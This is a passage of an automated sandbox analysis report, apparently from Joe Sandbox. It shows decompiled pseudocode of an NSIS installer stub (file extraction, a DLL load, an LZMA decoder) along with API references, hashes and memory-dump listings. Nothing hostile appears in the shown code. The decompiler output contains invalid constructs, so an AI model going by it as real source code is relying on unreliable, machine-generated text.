							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x4702e8 =  &( *0x4702e8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t84);
								_push(0xfffffffa);
								E00405450();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E00405450(0xffffffea,  *(_t86 - 8));
				 *0x470314 =  *0x470314 + 1;
				_t45 = E004031D6(_t79,  *((intOrPtr*)(_t86 - 0x20)),  *(_t86 - 0x30), _t77, _t77); // executed
				 *0x470314 =  *0x470314 - 1;
				__eflags =  *(_t86 - 0x1c) - 0xffffffff;
				_t82 = _t45;
				if( *(_t86 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x30), _t86 - 0x1c, _t77, _t86 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t86 - 0x30)); // executed
				__eflags = _t82 - _t77;
				if(_t82 >= _t77) {
					goto L31;
				} else {
					__eflags = _t82 - 0xfffffffe;
					if(_t82 != 0xfffffffe) {
						E0040640A(_t77, _t82, _t84, _t84, 0xffffffee);
					} else {
						E0040640A(_t77, _t82, _t84, _t84, 0xffffffe9);
						lstrcatW(_t84,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t84);
					E00405A4E();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040288b
0x0040288b
0x00402ac5
0x00402ac8
0x00402ac8
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402ace
0x00402ace
0x00402ace
0x00401867
0x00401867
0x00401868
0x00401493
0x004022f7
0x004022f7
0x004022f7
0x00401865
0x0040185e
0x00402ad0
0x00402ad4
0x00402ad4
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x004022f2
0x00000000
0x004022f2
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,ExecToStack,ExecToStack,00000000,00000000,ExecToStack,004C9000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

ExecToStack, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: ExecToStack
API String ID: 1941528284-166031814
Opcode ID: 09b218e5e7aa004988234aef99607d2b4dfa3534dd7724c6f1d49ddbe7db769c
Instruction ID: ededab686cc318fc7e7b90f4c09e4a826d398c1608d56966c744d50d12e1e378
Opcode Fuzzy Hash: 09b218e5e7aa004988234aef99607d2b4dfa3534dd7724c6f1d49ddbe7db769c
Instruction Fuzzy Hash: 4841B571900518BADF107BA5CD85DAF3679EF4532DB20423FF416B10E2DB3C8A929A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004032DE Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004032DE(intOrPtr _a4) {
				intOrPtr _t10;
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t31;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t32 =  *0x42a6d4; // 0x710ec2
				_t34 = _t32 -  *0x41e640 + _a4;
				 *0x470250 = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E00402E8E(1);
					return 0;
				}
				E0040345D( *0x42a6e4);
				SetFilePointer( *0x40a01c,  *0x41e640, 0, 0); // executed
				 *0x42a6e0 = _t34;
				 *0x42a6d0 = 0;
				while(1) {
					_t10 =  *0x42a6d8; // 0x6c7c83
					_t31 = 0x4000;
					_t11 = _t10 -  *0x42a6e4;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E00403447(0x4266d0, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x42a6e4 =  *0x42a6e4 + _t31;
					 *0x41e660 = 0x4266d0;
					 *0x41e664 = _t31;
					L6:
					L6:
					if( *0x470254 != 0 &&  *0x470300 == 0) {
						_t19 =  *0x42a6e0; // 0x2581b
						 *0x42a6d0 = _t19 -  *0x42a6d4 - _a4 +  *0x41e640;
						E00402E8E(0);
					}
					 *0x41e668 = 0x41e6d0;
					 *0x41e66c = 0x8000; // executed
					_t14 = E00406943(0x41e648); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x41e668; // 0x420b66
					_t37 = _t36 - 0x41e6d0;
					if(_t37 == 0) {
						__eflags =  *0x41e664; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x42a6d4; // 0x710ec2
						if(_t16 -  *0x41e640 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
						goto L22;
					}
					_t18 = E00405F90( *0x40a01c, 0x41e6d0, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x41e640 =  *0x41e640 + _t37;
					_t49 =  *0x41e664; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x004032e1
0x004032ee
0x00403301
0x00403306
0x00403436
0x00403438
0x00000000
0x0040343e
0x00403312
0x00403325
0x0040332b
0x00403331
0x0040333c
0x0040333c
0x00403341
0x00403346
0x0040334e
0x00403350
0x00403350
0x00403359
0x00403360
0x00000000
0x00000000
0x00403366
0x0040336c
0x00403372
0x00000000
0x00403378
0x0040337e
0x00403388
0x0040339e
0x004033a3
0x004033a8
0x004033ae
0x004033b4
0x004033be
0x004033c5
0x00000000
0x00000000
0x004033c7
0x004033cd
0x004033cf
0x004033f2
0x004033f8
0x00000000
0x00000000
0x004033fa
0x004033fc
0x00000000
0x00000000
0x004033fe
0x004033fe
0x00403411
0x00000000
0x00000000
0x00403420
0x00000000
0x00403420
0x004033d9
0x004033e0
0x0040342d
0x00403433
0x00403433
0x00000000
0x00403433
0x004033e2
0x004033e8
0x004033ee
0x00000000
0x00000000
0x00000000
0x00403431
0x00403431
0x00000000
0x00403431
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(00710EC2,00000000,00000000,dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Strings

dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;, xrefs: 00403352, 00403358
rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1, xrefs: 00403337, 004033D2
HA, xrefs: 004033A9

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: HA$dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;$rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1
API String ID: 1092082344-1933180147
Opcode ID: d6b178faf7be8bed1ce1700d2338eadcdcd7a4db5cb59746dbf71c5feed9a6d3
Instruction ID: fd4332e341476289c3f76e81f79fa789cc737db0b0adfb813ccc5192894bdc6c
Opcode Fuzzy Hash: d6b178faf7be8bed1ce1700d2338eadcdcd7a4db5cb59746dbf71c5feed9a6d3
Instruction Fuzzy Hash: C231B171600211DBC7209F26FE8496A3BA8F7643567C9423BEC40B62E0CB385D11DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406752(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x00406769
0x00406772
0x00406774
0x00406774
0x00406778
0x0040678b
0x00406785
0x00406785
0x00406785
0x004067a4
0x004067b8
0x004067bf

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Uniqueness

Uniqueness Score: -1.00%

Function 00406943 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406943(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00407395))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
